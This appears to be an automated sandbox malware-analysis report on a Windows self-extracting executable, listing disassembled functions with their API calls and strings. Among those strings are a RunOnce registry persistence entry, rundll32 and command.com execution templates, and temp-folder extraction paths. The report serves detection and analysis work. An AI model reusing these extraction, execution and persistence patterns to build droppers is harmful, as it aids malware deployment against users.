Instruction Fuzzy Hash: 2F01FDB53202253BE3243A255C9AFFB21CEDBB5794F104025B70EE1180CEA8CCA10475

Function 002119E0 Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 00211A18
GetDesktopWindow.USER32 ref: 00211A24
LoadStringA.USER32(?,?,00000200), ref: 00211A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 00211A62
MessageBeep.USER32(000000FF), ref: 00211A6A

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 5fa466bdd37c2aa34c406248e2842f9dabb44539e66f15bb6daefacff7f63f00
Instruction ID: ae436c3489f40c6cfb493ed692211cefc68f3b91a2b198e584f1265f93bdfe94
Opcode Fuzzy Hash: 5fa466bdd37c2aa34c406248e2842f9dabb44539e66f15bb6daefacff7f63f00
Instruction Fuzzy Hash: 1811E13152110AAFCB00EF64ED0CAEE7BF8EF29300F208150FA1692190CE319EA0CB91

Function 002147E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,00214E6F), ref: 002147EA
LocalAlloc.KERNEL32(00000040,?), ref: 00214823
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 00214847

Part of subcall function 002144B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00214518
Part of subcall function 002144B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00214554

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00214851

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 359063898-1193786559
Opcode ID: 3506746f13b3b445269da6e02dd2c007498b42a95afac740d319f1d61a0a0f45
Instruction ID: 929d3c444c7be5aea42f6bffacd4429cc61302ce982c4e9e6242b9321340681f
Opcode Fuzzy Hash: 3506746f13b3b445269da6e02dd2c007498b42a95afac740d319f1d61a0a0f45
Instruction Fuzzy Hash: F31159782106426FD724AF24AC5CFF23B9AEBA5300B05C528FA4ACB341CE358C528620

Function 00213680 Relevance: 6.1, APIs: 4, Instructions: 51windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0021369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 002136B2
DispatchMessageA.USER32(?), ref: 002136CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 002136DA

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 2e86bf8802c8bf4dd9ccd760474cbd3b9f633bbf207e3e5cec755e7e2aeeef7f
Instruction ID: 2797ef7585795b93a0fa393e011abb38e5fe047893e2fffbfa42aa3bee42ed4e
Opcode Fuzzy Hash: 2e86bf8802c8bf4dd9ccd760474cbd3b9f633bbf207e3e5cec755e7e2aeeef7f
Instruction Fuzzy Hash: D901A772A11259BBDF308FA66C4CEEB7ABDEBD5B10F10012DFD05E2184D961C694C664

Function 002165E8 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,00000000,00000000,?,00000000,00212B33), ref: 00216602
CharPrevA.USER32(?,00000000), ref: 00216612
CharPrevA.USER32(?,00000000), ref: 00216629
CharNextA.USER32(00000000), ref: 00216635

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: a05be582624a43a66e6fa1141ed695dab86064d010e2ee122df76db7ec478466
Instruction ID: c640e873790f91d51229c407cc704163bcd1f2002564aedbd3c344ce8c9b15c2
Opcode Fuzzy Hash: a05be582624a43a66e6fa1141ed695dab86064d010e2ee122df76db7ec478466
Instruction Fuzzy Hash: D8F0F4324161917EE7331F289C8C8FFBFDCCBB7255B2941AFE49982001DA990D868661

Function 00216952 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(0000005A,?,?,`W!,?,00000000,00215760,?,A:\), ref: 0021697F
MulDiv.KERNEL32(?,?,00000400), ref: 00216999

Strings

`W!, xrefs: 00216972, 00216975

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: DiskFreeSpace
String ID: `W!
API String ID: 1705453755-235260415
Opcode ID: 81fd7557803e188f9f4f6d69506e0b7f1a3eddb7040f79d15953c5304f3c36e4
Instruction ID: 8f0a452c5387dcb466fc2c3b492877205feda84e7f15d55f8a23c5a7df541b32
Opcode Fuzzy Hash: 81fd7557803e188f9f4f6d69506e0b7f1a3eddb7040f79d15953c5304f3c36e4
Instruction Fuzzy Hash: 32F0F9B6D1122CBBCB11DFE8DC48ADEBBFCEB49701F104296E914E3240DA719A508BD1

Analysis Process: j1C74.exePID: 6460, Parent PID: 6456COMMON

Execution Graph

Execution Coverage:	28%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	971
Total number of Limit Nodes:	44

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00353BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00353C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 00353CDC

Part of subcall function 0035468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003546A0
Part of subcall function 0035468F: SizeofResource.KERNEL32(00000000,00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546A9
Part of subcall function 0035468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003546C3
Part of subcall function 0035468F: LoadResource.KERNEL32(00000000,00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546CC
Part of subcall function 0035468F: LockResource.KERNEL32(00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546D3
Part of subcall function 0035468F: memcpy_s.MSVCRT ref: 003546E5
Part of subcall function 0035468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003546EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,00358C42), ref: 00353D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 00353E26
FreeLibrary.KERNEL32(00000000,?,00358C42), ref: 00353EFF
LocalFree.KERNEL32(?,?,?,?,00358C42), ref: 00353F1F
FreeLibrary.KERNEL32(00000000,?,00358C42), ref: 00353F40
LocalFree.KERNEL32(?,?,?,?,00358C42), ref: 00353F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,00358C42), ref: 00353F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,00358C42), ref: 00353F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,00358C42), ref: 00353FC2

Strings

DoInfInstall, xrefs: 00353E1F, 00353E24, 00353F68
D, xrefs: 00353C19
POSTRUNPROGRAM, xrefs: 00353D60
<None>, xrefs: 00353CC9, 00353D7D
valid, xrefs: 00353E68
advpack.dll, xrefs: 00353F9D
SHOWWINDOW, xrefs: 00353C34
USRQCMD, xrefs: 00353CAD
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00353E74
RUNPROGRAM, xrefs: 00353D05
REBOOT, xrefs: 00353BE2
ADMQCMD, xrefs: 00353C9E

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$valid
API String ID: 1032054927-1339521445
Opcode ID: 5a603a97c8490c13fcad4178834e5cd441066e2674e273dde920d143b841b949
Instruction ID: cec2e8337107eae9be02b443fe6553a27418d34e77b7aa2f4c34e05507ea4c37
Opcode Fuzzy Hash: 5a603a97c8490c13fcad4178834e5cd441066e2674e273dde920d143b841b949
Instruction Fuzzy Hash: 13B1A0709083019BD7279F248845F6B76F8EB84797F11092AFE86D71B1DB748A4CCB92

Function 00351AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 00351BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 00351BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 00351C57
GetPrivateProfileIntA.KERNEL32(?,Reboot,00000000,?), ref: 00351C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,00351140,00000000,00000008,?), ref: 00351CB8
GetShortPathNameA.KERNEL32(?,?,00000104), ref: 00351D1B

Part of subcall function 003544B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00354518
Part of subcall function 003544B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00354554

Strings

Command.com /c %s, xrefs: 00351D9B, 00351DE8
AdvancedINF, xrefs: 00351CAE
Version, xrefs: 00351CB3
.BAT, xrefs: 00351D83
DefaultInstall, xrefs: 00351C74, 00351C87, 00351CCE, 00351CD3, 00351D2D, 00351D39
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00351D3B
", xrefs: 00351B25
setupx.dll, xrefs: 00351D14
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00351BA0
.INF, xrefs: 00351BDB
Reboot, xrefs: 00351C82
setupapi.dll, xrefs: 00351D23, 00351D3A

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-2869639027
Opcode ID: 07af1fff0d9dbcb22ec76f961430e6ad64703a00f7a97bbe4ef89ade565d598e
Instruction ID: b0bde912c215ecbdca3ffe83c236848e6e5bff37d022274d5ef2837e03606940
Opcode Fuzzy Hash: 07af1fff0d9dbcb22ec76f961430e6ad64703a00f7a97bbe4ef89ade565d598e
Instruction Fuzzy Hash: BBA15771A00618ABEB239B24CC45FFA77BDAB45312F140295ED55A72F0DBB09E8DCB50

Function 00352F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000105), ref: 00352F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 00352FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 00352FC6
DecryptFileA.ADVAPI32 ref: 00352FE6
FreeLibrary.KERNEL32(00000000), ref: 00352FF8
SetCurrentDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 0035301C

Part of subcall function 003551E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00352F4D,?,00000002,00000000), ref: 00355201

Strings

DecryptFileA, xrefs: 00352FC0
advapi32.dll, xrefs: 00352F99
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00352FDB, 00353017

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-1274120739
Opcode ID: 12a93c5daf300d04b4a685ce0dde9466d8fa48bcb95103182725af95e5c3027a
Instruction ID: 9ea0409f98021248b7560f47ce8df79d76c6f455ea404c0c1cdb6ad3b40d587d
Opcode Fuzzy Hash: 12a93c5daf300d04b4a685ce0dde9466d8fa48bcb95103182725af95e5c3027a
Instruction Fuzzy Hash: 0E41BE31A007059ADB23AB71AC46F6A37AC9B45797F010566ED02D71F1EF74CE8CCAA1

Function 00352390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(?,00358A3A,003511F4,00358A3A,00000000,?,?), ref: 003523F6
lstrcmpA.KERNEL32(?,003511F8), ref: 00352427
lstrcmpA.KERNEL32(?,003511FC), ref: 0035243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 00352495
DeleteFileA.KERNEL32(?), ref: 003524A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 003524AF
FindClose.KERNELBASE(00000000), ref: 003524BE
RemoveDirectoryA.KERNELBASE(00358A3A), ref: 003524C5

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 768492aba9fe01a453875f444cfe97d5874a85c9885dd760771211069f548d27
Instruction ID: 51a8592f060b97a77ac15f399806100a5d76e83997f65fa171be71cce7a85349
Opcode Fuzzy Hash: 768492aba9fe01a453875f444cfe97d5874a85c9885dd760771211069f548d27
Instruction Fuzzy Hash: 7B316071604B40ABC322DB64CC89EEF73ACAB85307F05492DFD55871B0EB74990D8752

Function 00352BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,00356BB0,00350000,00000000,00000002,0000000A), ref: 00352C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,00356BB0,00350000,00000000,00000002,0000000A), ref: 00352C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 00352C28
CloseHandle.KERNEL32(00000000,?,?,00356BB0,00350000,00000000,00000002,0000000A), ref: 00352C98

Strings

HeapSetInformation, xrefs: 00352C22
Kernel32.dll, xrefs: 00352C13

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: a13f8eb1aedf6045a86bee3be094055baafc62815791ece333f6af78470694e3
Instruction ID: 4b7abc542cc53158e07182c93579e79175f9895cb0d31e8f97251c92957140e1
Opcode Fuzzy Hash: a13f8eb1aedf6045a86bee3be094055baafc62815791ece333f6af78470694e3
Instruction Fuzzy Hash: 1511A0313107059BDB236BB5EC89F6F376D9B86393F060515FD01E72B2DA20DC498661

Function 0035202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00352050
memset.MSVCRT ref: 0035205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?,?,?,?,?,00000000,00000000), ref: 0035208C

Part of subcall function 0035171E: _vsnprintf.MSVCRT ref: 00351750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup1,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003520C9
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003520EA
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00352103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00352122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 00352134
FreeLibrary.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00352144
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0035215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,00000000,00000000), ref: 0035218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003521C1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003521E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup1,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 0035223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00352249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00352250

Strings

%s /D:%s, xrefs: 003521FF, 00352210
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00352082
wextract_cleanup1, xrefs: 003520A5, 003520BE, 003520F0, 00352232
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 003521F6
wextract_cleanup%d, xrefs: 0035209E
advpack.dll, xrefs: 00352109
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 003521A8, 00352204
DelNodeRunDLL32, xrefs: 0035212E

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup1
API String ID: 178549006-3073904943
Opcode ID: ec370fc22336a61e480981965993d5b4439b82e49acbe68bd501bffd85ac14d6
Instruction ID: 1b2ee0e2db7850ea577db2411b0047fec98397b3af53fceb47d69ebd683c4093
Opcode Fuzzy Hash: ec370fc22336a61e480981965993d5b4439b82e49acbe68bd501bffd85ac14d6
Instruction Fuzzy Hash: 25510575A00614ABDB239F20DC49FEB7B3CEB45702F0002A4FE05E71B0EA709E4D8A60

Function 003555A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0035468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003546A0
Part of subcall function 0035468F: SizeofResource.KERNEL32(00000000,00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546A9
Part of subcall function 0035468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003546C3
Part of subcall function 0035468F: LoadResource.KERNEL32(00000000,00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546CC
Part of subcall function 0035468F: LockResource.KERNEL32(00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546D3
Part of subcall function 0035468F: memcpy_s.MSVCRT ref: 003546E5
Part of subcall function 0035468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003546EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 003555CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 00355638
LocalFree.KERNEL32(00000000), ref: 0035564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00355620

Part of subcall function 003544B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00354518
Part of subcall function 003544B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00354554

Part of subcall function 00356285: GetLastError.KERNEL32(00355BBC), ref: 00356285

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 003556B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 0035571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 00355737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 003557CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 003557EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 00355802

Part of subcall function 00352630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 00352654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 00355830

Part of subcall function 00356517: FindResourceA.KERNEL32(00350000,000007D6,00000005), ref: 0035652A
Part of subcall function 00356517: LoadResource.KERNEL32(00350000,00000000,?,?,00352EE8,00000000,003519E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00356538
Part of subcall function 00356517: DialogBoxIndirectParamA.USER32(00350000,00000000,00000547,003519E0,00000000), ref: 00356557
Part of subcall function 00356517: FreeResource.KERNEL32(00000000,?,?,00352EE8,00000000,003519E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00356560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 00355878

Part of subcall function 0035597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 003559A8
Part of subcall function 0035597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 003559AF

Strings

<None>, xrefs: 00355632
msdownld.tmp, xrefs: 003557D3
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 003556AE, 003556B3, 0035583D
RUNPROGRAM, xrefs: 003555BD, 00355600
Z, xrefs: 0035570A
A:\, xrefs: 003556F4

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-3498133043
Opcode ID: 6f6c18ca1fc3153d662b5ca635a494c3d3b2b047f38ebe9eb011f05282b950a0
Instruction ID: b0c256a9507170cb64436d168287cd7cb48e66a3e5b6485170d63c9970ea12d2
